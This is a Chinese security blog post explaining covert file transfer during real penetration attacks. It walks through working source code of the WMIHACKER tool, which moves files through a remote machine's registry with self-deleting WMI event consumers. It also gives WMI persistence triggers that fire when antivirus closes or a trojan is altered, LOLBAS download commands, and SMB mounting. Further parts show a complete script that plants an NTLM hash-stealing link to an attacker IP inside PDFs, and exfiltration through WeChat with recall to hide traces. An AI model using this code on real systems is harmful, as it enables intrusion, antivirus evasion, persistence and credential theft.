欢迎来到7N的个人博客!

安全开发(零):实战渗透中隐蔽的文件传输和对应工具的源码解析


avatar
7ech_N3rd 2025-01-29 415

乐帅照镇楼

文件压缩

这不得不搬出靠山吃山理论了,具体知识库地址:LOLBAS
我们就可以根据windows自带的命令比如tar.exe

tar -cvf <压缩文件名> <文件夹名>

用法基本上和linux中的命令一样,
其实还有windows自带的方式,比如:makecab命令,可惜只支持单个文件的压缩,格式可以有.rar .zip都可以

makecab <源文件名> <压缩文件名>

基于windows靠山吃山的文件下载方式

自带命令

原理是调用windows 自带的Run方法,例如

pcalua -m -a http://192.168.18.1/aa.zip

或者是间接通过explorer实现

explorer http://192.168.18.1/aa.zip

但是这个命令得以运行有个前提:就是对方的默认浏览器处于打开状态才不会有察觉到,不然的话会直接从对方桌面弹出浏览器窗口,就会很怪。
你可以使用

tasklist

来检查

基于RPC的下载方式

我这里推荐一个老的项目,360红队的wmihacker,原理就是调用基于msrpc的wmi远程服务,操纵注册读写实现的,我这里就来带大家解析一下这个工具的源码:

文件上传

Upload函数

upload函数就是把文件的二进制数据转化成文本然后写入远程注册表

Function Upload(localpath,remotepath)
    arrData = ReadBinary(localpath)
    Set objRegistry = regWMIService.Get("StdRegProv")
    objRegistry.CreateKey HKEY_LM, strKeyPath
    retcode = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData)
    If (retcode = 0) And (Err.Number = 0) Then
      WScript.Echo "Binary value added successfully"
    Else
      WScript.Echo "An error occurred. Return code: " & retcode
    End If
    WriteFileFromReg(remotepath)
End Function

其实就是在objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData) 这一步上传到了对方机器的注册表中,但是你光写入了注册表还是没有足够的用处,你还还要写到文件里才算完成了传输,在注册表一次性不能写太多,得分多次写入的前提先,我们该咋办能?

WriteFileFromReg

关键是在这个WriteFileFromReg函数:

Function WriteFileFromReg(file)
    Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
    Set asec = temp.spawninstance_
    asec.name="Windows COM Config Consumer"
    Asec.scriptingengine="vbscript"
    Asec.scripttext = "Set objRegistry = GetObject(" & chr(34) & "winmgmts:{impersonationLevel=impersonate}!\\" & chr(34) & " & " & chr(34) & "." & chr(34) & " & " & chr(34) & "\root\default:StdRegProv" & chr(34) & ")"&chr(10)&_
        "objRegistry.GetBinaryValue 2147483650," & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & "," & chr(34) & "Part2" & chr(34) & ",strValue"&chr(10)&_
        "WriteBinary "&Chr(34)&file&chr(34)&",strValue"&chr(10)&_
        "Sub WriteBinary(FileName, Buf)"&chr(10)&_
        "  Dim I, aBuf, Size, bStream"&chr(10)&_
        "  Size = UBound(Buf): ReDim aBuf(Size \ 2)"&chr(10)&_
        "  For I = 0 To Size - 1 Step 2"&chr(10)&_
        "      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))"&chr(10)&_
        "  Next"&chr(10)&_
        "  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))"&chr(10)&_
        "  aBuf=Join(aBuf, " & chr(34) & "" & chr(34) & ")"&chr(10)&_
        "  Set bStream = CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
        "  bStream.Type = 1: bStream.Open"&chr(10)&_
        "  With CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
        "    .Type = 2 : .Open: .WriteText aBuf"&chr(10)&_
        "    .Position = 2: .CopyTo bStream: .Close"&chr(10)&_
        "  End With"&chr(10)&_
        "  bStream.SaveToFile FileName, 2: bStream.Close"&chr(10)&_
        "  Set bStream = Nothing"&chr(10)&_
        "End Sub"
    set asecpath=asec.put_                                        

    Set temp = SubobjSWbemServices.Get("__EventFilter")
    set evtflt = temp.spawninstance_
    evtflt.name="Windows COM Config Filter" 
    evtflt.EventNameSpace="root\cimv2"                         
    qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    evtflt.query=qstr                                             
    evtflt.querylanguage="wql"                                    
    set fltpath=evtflt.put_                                       

    Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
    set fcbnd = temp.spawninstance_
    fcbnd.consumer=asecpath.path
    fcbnd.filter=fltpath.path
    fcbnd.put_

    WScript.Sleep 2000 ' 2 sec
    evtflt.delete_
    asec.delete_
    fcbnd.delete_
    ReplacedFile = Replace(file,"\","\\")
    strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
    Dim done
    done = false
    Do Until done
        Wscript.Sleep 2000
        Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
        For Each objItem in colItems
            WScript.Echo "WMIHACKER : File Upload Success. "
            done = true
        Next
    loop
End Function

这个函数第一步就是去往对方机器的内存中写入一个vbs脚本具体源码如下:

Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv")
objRegistry.GetBinaryValue 2147483650,"SOFTWARE\Classes\hello","Part2",strValue
WriteBinary "",strValue
Sub WriteBinary(FileName, Buf)
  Dim I, aBuf, Size, bStream
  Size = UBound(Buf): ReDim aBuf(Size \ 2)
  For I = 0 To Size - 1 Step 2
      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  Next
  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  aBuf=Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2 : .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Sub

这个在对方机器运行脚本的作用就是去把当前的存放在注册表中的str值解析,以流得形式存放到了本地文件里,然后WriteFileFromReg函数会去把这个脚本绑定到系统事件用于执行:

Set temp = SubobjSWbemServices.Get("__EventFilter")
    set evtflt = temp.spawninstance_
    evtflt.name="Windows COM Config Filter" 
    evtflt.EventNameSpace="root\cimv2"                         
    qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    evtflt.query=qstr                                             
    evtflt.querylanguage="wql"                                    
    set fltpath=evtflt.put_                                       

关键的wql事件:

SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

这个__InstanceModificationEvent的意思就是去检测系统时间一旦改变就触发该时间,但是我们只需要触发一次就够了,算上之前创建到生效的时间,我们等两秒删掉这些定时任务就可以了:

Do Until done
        Wscript.Sleep 2000
        Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
        For Each objItem in colItems
            WScript.Echo "WMIHACKER : File Upload Success. "
            done = true
        Next
    loop
End Function

顺带一提,基于WMI+消费者的绑定的操作也是个不错的持久化手段,只要我配置足够合适的wql事件,比如:

SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = '360.exe'

只要360.exe被关闭,我就出来活动出来(坏笑.jpg)
当然还有:

SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_NetworkConnection' AND TargetInstance.Name = 'www.bilibili.com'

只要你摸鱼刷b站就制裁你

SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Name = 'C:\\Temp\\muma.exe'

只要你敢修改我的木马我就复活,触发wmi任务堂堂复活,当然wmi足够单开一篇博客细讲了,这里就不接着跑题了

文件下载

这个实现方式也一样,同样的思路,只不过反了过来,我先把文件的内容写到注册表里面,然后在从注册表里面去读取,最后清理文件。

Function ReadFileFromReg(file)
    Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
    Set asec = temp.spawninstance_
    asec.name="Windows COM Config Consumer"
    Asec.scriptingengine="vbscript"
    Asec.scripttext = "arrData=ReadBinary(" & chr(34) & file & chr(34) & ")"&chr(10)&_
        "Set objRegistry = GetObject(" & chr(34) & "winmgmts:{impersonationLevel=impersonate}!\\" & chr(34) & " & " & chr(34) & "." & chr(34) & " & " & chr(34) & "\root\default:StdRegProv" & chr(34) & ")"&chr(10)&_
        "objRegistry.CreateKey 2147483650, " & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & ""&chr(10)&_
        "retcode = objRegistry.SetBinaryValue(2147483650, " & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & "," & chr(34) & "Part2" & chr(34) & ", arrData)"&chr(10)&_
        "Function ReadBinary(FileName)"&chr(10)&_
        "  Dim Buf(), I"&chr(10)&_
        "  With CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
        "    .Mode = 3: .Type = 1: .Open: .LoadFromFile FileName"&chr(10)&_
        "    ReDim Buf(.Size - 1)"&chr(10)&_
        "    For I = 0 To .Size - 1: Buf(I) = AscB(.Read(1)): Next"&chr(10)&_
        "    .Close"&chr(10)&_
        "  End With"&chr(10)&_
        "  ReadBinary = Buf"&chr(10)&_
        "End Function"
    set asecpath=asec.put_                                        

    Set temp = SubobjSWbemServices.Get("__EventFilter")
    set evtflt = temp.spawninstance_
    evtflt.name="Windows COM Config Filter" 
    evtflt.EventNameSpace="root\cimv2"                         
    qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    evtflt.query=qstr                                             
    evtflt.querylanguage="wql"                                    
    set fltpath=evtflt.put_                                       

    Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
    set fcbnd = temp.spawninstance_
    fcbnd.consumer=asecpath.path
    fcbnd.filter=fltpath.path
    fcbnd.put_

    WScript.Sleep 2000 
    evtflt.delete_
    asec.delete_
    fcbnd.delete_
    ReplacedFile = Replace(file,"\","\\")
    strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
    WScript.Echo "Read File To Reg Success"
End Function
Function Download(localpath,remotepath)
    ReadFileFromReg(remotepath)
    Set objRegistry = regWMIService.Get("StdRegProv")
    retcode = objRegistry.GetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData)
    WriteBinary localpath, arrData
    Wscript.Echo "File Download Success"
End Function

类比上面文件上传的例子你应该明白了,这就不多讲了

基于SMB的文件传输方式

其实这个是非常经典的操作了,这个相对于其他文件传输的优势在于我们能够通过挂载远程磁盘的方式来实现远程文件,你可以直接打开远程的文件,不需要先下载到本地上来,甚至执行exe,但有利有弊,这个的问题在于动静太大了,会留下不少日志就是

服务端准备

这里是使用impacket工具包,如果你没有的可以pip install impacket装一个

smbserver.py -smb2support shareName sharePath

客户端准备

你可以直接通过vbs调用com组件挂载

Set objNetwork = CreateObject("WScript.Network")
objNetwork.MapNetworkDrive "Z:", "\\192.168.1.100\SharedFolder", False, "username", "password"

也可以直接cmd命令(如果杀软没有禁用的话)

net use Z: \\\\192.168.1.100\\SharedFolder /user:username password
cd Z:

还有Powershell自带的命令

New-PSDrive -Name Z -PSProvider FileSystem -Root "\\192.168.1.100\SharedFolder" -Credential (Get-Credential)

花絮

其实这个smbserver还有不一样的操作,可以用来偷哈希,渗透技巧——利用PDF文件获取Net-NTLM hash

import sys

def AddPayload(Data,ip):
    Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>'
    index1 = Data.find('/Parent') + 13    
#    print "%x" % index1
    Newdata = Data[0:index1] + Payload + Data[index1:]   
    return Newdata

if __name__ == "__main__":
    print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines."

    print "Reference :"
    print "    https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/"
    print "    https://github.com/deepzec/Bad-Pdf"    
    print "Author: 3gstudent\n"

    if len(sys.argv)!=3:
        print ('Usage:')
        print ('    WorsePDF.py <normal PDF file Path> <ServerIP>')   
        sys.exit(0)    

    print "[*]NormalPDF: %s" % sys.argv[1]
    print "[*]ServerIP: %s" % sys.argv[2]

    file_object = open(sys.argv[1],'rb')
    try:
         all_the_text = file_object.read( )
    finally:
         file_object.close()

    Newdata = AddPayload(all_the_text,sys.argv[2])
    MaliciousPath = sys.argv[1] + '.malicious.pdf'

    print "[+]MaliciousPDF: %s" % MaliciousPath   
    file_object2 = open(MaliciousPath, 'wb')
    file_object2.write(Newdata)
    file_object2.close()
    print "[*]All Done"

基于第三方的一下文件传输

基于微信文件传输助手

核心原理就是去模拟用户去访问微信文件传输助手,类似与一个爬虫,模拟用户操作:https://szfilehelper.weixin.qq.com/
这里推荐这个开源项目:https://github.com/zzzzls/WXFileHelper
我自己在那个WxFileHelper类中添加了这些内容,就可以下载传输图片

def receive_msg(self):
        """
        接收消息
        """
        url = f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxsync"
        params = {'sid': self.sid, 'skey': self.skey,
                'pass_ticket': self.pass_ticket}
        json_data = {"BaseRequest": self.generate_base_request(),
                    "SyncKey": self.sync_key}

        resp = self.wx_req.fetch(
            url, method="post", params=params, json=json_data)
        if resp:
            # 直接调用 resp.json() 中文消息出现乱码
            data = json.loads(resp.content.decode('utf-8'))
            if data['BaseResponse']['Ret'] == 0:
                if data['AddMsgList']:
                    for msg in data['AddMsgList']:
                        msg_type = msg['MsgType']
                        if msg_type == 1:
                            # 文本消息
                            print(f"文本消息: {msg['Content']}")
                        elif msg_type == 3:
                            # 图片消息
                            print("收到一张图片消息")
                            self.handle_file_msg(msg)
                        elif msg_type == 49:
                            # 文件消息
                            print("收到一个文件消息")
                            self.handle_file_msg(msg)
                self.sync_key = data['SyncKey']
            else:
                raise ValueError("Webwxsync failed")
    def handle_file_msg(self, msg):
        """
        处理文件或图片消息
        :param msg: 消息内容
        """
        media_id = msg['MediaId']
        # print(msg)
        if msg['MsgType'] == 3:
            msg_id = msg['MsgId']
            skey=self.skey
            downurl=f"?MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"
            downurl=f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxgetmsgimg??MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"
            print(downurl)
            resp=self.wx_req.fetch(downurl)
            if resp:
                if not os.path.exists(f'./images'):
                    os.mkdir('./images')
                with open(f'./images/{msg["MsgId"]}','wb') as f:
                    output=resp.content
                    f.write(output)
                    print(f"下载成功,保存到./images/{msg['MsgId']}{get_image_type(BytesIO(resp.content))}'")
                    return

        elif msg['MsgType'] == 49:
            downurl=f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxgetmedia?MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"

当然你也可以利用微信的特性默认接受200M大小一下的文件,直接发给对象并且撤回来隐藏踪迹。

暂无评论

发表评论